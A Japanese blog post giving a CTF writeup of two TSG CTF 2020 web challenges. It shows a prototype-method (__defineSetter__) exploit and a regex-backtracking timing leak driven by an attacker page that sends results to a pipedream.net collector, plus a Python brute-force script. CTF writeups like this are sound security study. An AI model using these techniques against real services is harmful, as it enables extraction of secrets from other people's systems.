Ark's Blog

引っ越しました→ https://blog.arkark.dev/

ようこそ

TSG CTF 2020 writeup (Beginner's Web, Note 1)

TSG CTF 2020 に ./Vespiary として参加しました。結果は Score 2448 で 7位 でした!

公式ツイートに載ったのでわざわざスクショ取らなくて良い!うれしい!*1

以下は、自分が解いた問題のwriteupです。Beginner's WebとNoteです*2

最近はチームの writeup repository ができたのでそっちにwriteupを書いてたけど、久しくブログを書いてなかったのでたまにはこっちに(あとでrepository側からリンクさせるかも)。

writeup

1行writeup:

[web] Beginner's Web

31 solves, 168 pts

問題概要

ソースコードとWebページが与えられます。以下は重要そうなソースコードの一部分です。

flagConverter関数を呼ばせることができたらフラグが手に入りそうです。

/* -- snip -- */

const converters = {};

const flagConverter = (input, callback) => {
  const flag = '*** CENSORED ***';
  callback(null, flag);
};

const base64Converter = (input, callback) => {
  /* -- snip -- */
};

const scryptConverter = (input, callback) => {
  /* -- snip -- */
};

app.post('/', async (request, reply) => {
  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 10) {
    throw new Error('Too short :(');
  }

  if (request.body.input.length > 1000) {
    throw new Error('Too long :(');
  }

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

  reply.view('index.html', {
    input: request.body.input,
    result,
    sessionId: request.session.sessionId,
  });
});

/* -- snip -- */

解法

converters 変数にアクセスしてる request.body.converterrequest.body.input に適当な文字列を与えると悪さができそうです。

Object.prototypeに良さげなメソッドがないかMDNで調べます。1引数目に文字列、2引数目に関数を指定できるような関数があれば最高です。ありました:

仕様を見る限り

  • request.body.converter : __defineSetter__
  • request.body.input: FLAG_{{ sessionId }}

とすれば、converters[FLAG_${request.session.sessionId}] に値が代入されるタイミングでcallbackが呼ばれることがわかるので、それを試します。

攻撃手順

sessionIdを手に入れる:

$ http GET http://34.85.124.174:59101/
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 1061
Content-Type: text/html; charset=utf-8
Date: Sat, 11 Jul 2020 14:31:39 GMT
Server: nginx/1.19.1
set-cookie: sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I; Path=/; HttpOnly

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/milligram/1.4.0/milligram.css">
    <title>Beginner's Web: OmniConverter</title>
    <style>
      body {
        text-align: center;
      }
      .row {
        justify-content: center;
        margin: 1rem 0 1.5rem;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <h1>OmniConverter</h1>

      <form method="POST">
        <textarea name="input" minlength="10"></textarea>
        <div class="row">
          <select class="column column-20" name="converter">
            <option value="base64">Base64</option>
            <option value="scrypt">scrypt</option>
          </select>
          <button class="column column-10" type="submit">Convert</button>
        </div>
        <textarea disabled></textarea>
      </form>
      <p>Session ID: TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j</p>
    </div>
  </body>
</html>

__defineSetter__を仕込んだリクエストを投げる:

$ http -v --form POST http://34.85.124.174:59101/ Cookie:sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I converter=__defineSetter__ input=FLAG_TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j
POST / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 70
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cookie: sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I
Host: 34.85.124.174:59101
User-Agent: HTTPie/2.2.0

converter=__defineSetter__&input=FLAG_TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j

このリクエストを待機中に適当なリクエストを投げる:

$ http -v --form POST http://34.85.124.174:59101/ Cookie:sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I converter=base64 input=FLAG_TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j

.. snip ..

すると先程のリクエストに対するレスポンスが返ってきてフラグ入手:

HTTP/1.1 500 Internal Server Error
Connection: keep-alive
Content-Length: 1231
Content-Type: text/html; charset=utf-8
Date: Sat, 11 Jul 2020 14:32:21 GMT
Server: nginx/1.19.1
set-cookie: sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I; Path=/; HttpOnly

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/milligram/1.4.0/milligram.css">
    <title>Beginner's Web: OmniConverter</title>
    <style>
      body {
        text-align: center;
      }
      .row {
        justify-content: center;
        margin: 1rem 0 1.5rem;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <h1>OmniConverter</h1>

        <h2>ERROR: (input, callback) =&gt; {
  const flag = &#39;TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}&#39;;
  callback(null, flag);
}</h2>

      <form method="POST">
        <textarea name="input" minlength="10"></textarea>
        <div class="row">
          <select class="column column-20" name="converter">
            <option value="base64">Base64</option>
            <option value="scrypt">scrypt</option>
          </select>
          <button class="column column-10" type="submit">Convert</button>
        </div>
        <textarea disabled></textarea>
      </form>
      <p>Session ID: TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j</p>
    </div>
  </body>
</html>

フラグ

TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}

[web] Note

7 solves, 322pts

問題概要

テキストを入力してそのノードを保存、検索、削除等ができるサービスが与えられます。

  • 検索するときは正規表現を使う
  • adminのアカウントではノートがひとつあり、そのノートにフラグが書かれている
    • フラグの形式は TSGCTF{[0-9A-Z_]*}
  • http://34.84.10.25:18365/?{{ query }}#{{ url }}の形式でアクセスすると
    • {{ query }}: 検索に使う正規表現を指定
    • {{ url }}: ヘッダに使われる画像を指定(この解法では使わない*3
  • http://34.84.10.25:18365/queryにurlをPOST
    • adminに特定のWebページへアクセスさせる
    • このbotのtimeoutは3000ms

解法

フラグにヒットしたらすぐ処理が終わり、ヒットしなかったら長い処理になるような正規表現を考えます。

  • 例:(^TSGCTF\{PREFIX|(([0-9A-Z_]+)+){18})

これを用いて、先頭から1文字ずつ確定できないか考えました。

実際に行った方法は次の方法です。

攻撃手順

次のようなHTMLを配信するWebページを準備。URLはhttp://0f411bb41f4f7721f96ca4feac866bf8.m.pipedream.net

index.html

<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <title>tmp page</title>
</head>

<body>
  <div id="root"></div>
  <script>

    // for local tests
    if (document.domain === "localhost") {
      setTimeout(() => {
        location = "https://google.com";
      }, 3000);
    }

    const prefix = location.search.substring(1);
    const reportUrl = "http://28f445a0245359c24103538ec1ac0dbf.m.pipedream.net/prefix/" + prefix;
    
    const search = '(^TSGCTF{' + prefix + '|(([0-9A-Z_]+)+){18})';

    fetch(reportUrl + "/init");

    const f = async () => {
      const frame = document.createElement("iframe");
      frame.src = "http://34.84.161.130:18364/?" + search;
      root.appendChild(frame);
    };
    f();

    const g = () => {
      fetch(reportUrl);
    };
    setTimeout(() => {
      setInterval(g, 100);
    }, 1000);
  </script>
</body>

</html>

そして適当なスクリプトを準備する。

exploit.py

import requests
import time

url = "http://0f411bb41f4f7721f96ca4feac866bf8.m.pipedream.net?"
chars = "_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

prefix = "5H4LL_W3_ENC" # 先頭から1文字ずつ確定させる

for c in chars:
    current_prefix = prefix + c
    print("payload={}".format(current_prefix))

    payload = {
        "url": url + current_prefix
    }

    res = requests.post(
        "http://34.84.161.130:18364/query",
        payload,
    )

    print(res.text)
    assert res.text == "Okay! I got it :-)"

    time.sleep(4)

実行すると、

$ python exploit

f:id:ark4rk:20200713160850p:plain

こんな感じでGET requestが飛んでくる。prefixが間違っている場合はbotがbusy状態になるのでrequestが飛びにくくなり、prefixが正しい場合は複数requestが飛んでくる。この画像の例だとRが次の文字だと推測できる。

本当は処理がtimeoutしたかどうかなどでできる攻撃手法が確実だったんだけど、思いつかなかったのでお行儀悪いことをしてしまった。実質攻撃(いや、CTFは元々攻撃なんですが)。インスタンスいじめてごめんなさい。

フラグ

TSGCTF{5H4LL_W3_ENCRYP7}

感想

見た問題はどれもおもしろく質も高かったため、とてもたのしめました。ただ、問題数と難易度の割に(自分にとっては)時間が短く、手付かずな問題があったのは心残りでした。もう少し長く開催されるといいなと思いました*4

結果は7位でかなり奮闘できたんじゃないかと思います。うれしい。チームメンバがどんどん問題解いてくれてありがたい。

CTFに関してだけど、最近はweb問にはまってるのでその周辺に強くなりたいです。今回は1桁solvesのNoteを解けたのは自分としてはうれしかったです。強いチームは当然のように全問解いていってるので、自分もああなりたいです。まだまだCTF経験が浅くてCTFに参加するたびに学びが多く、作問者の人たちすごいなあと思いながら解いてます。作問側に回れるような実力をつけたい。

*1:ところで、この太文字に使われてるフォント好き。Fredoka Oneって言うんですね。

*2:人々のwriteup記事で、タイトルが「hogehoge CTF writeup」で、中身を見るまで何の問題について書かれてるのかがわからなくて不便なことが最近よくあったので、タイトルに問題名を含めるようにしました。

*3:出題者の想定解法では必要で、この記事の解法を不可能にするバージョンとしてNote 2が出題されました。

*4:そういえばアンケートがあったことを今思い出しました。感想は思うだけでは伝わらないのでちゃんと書くべきですね。アンケート出しました。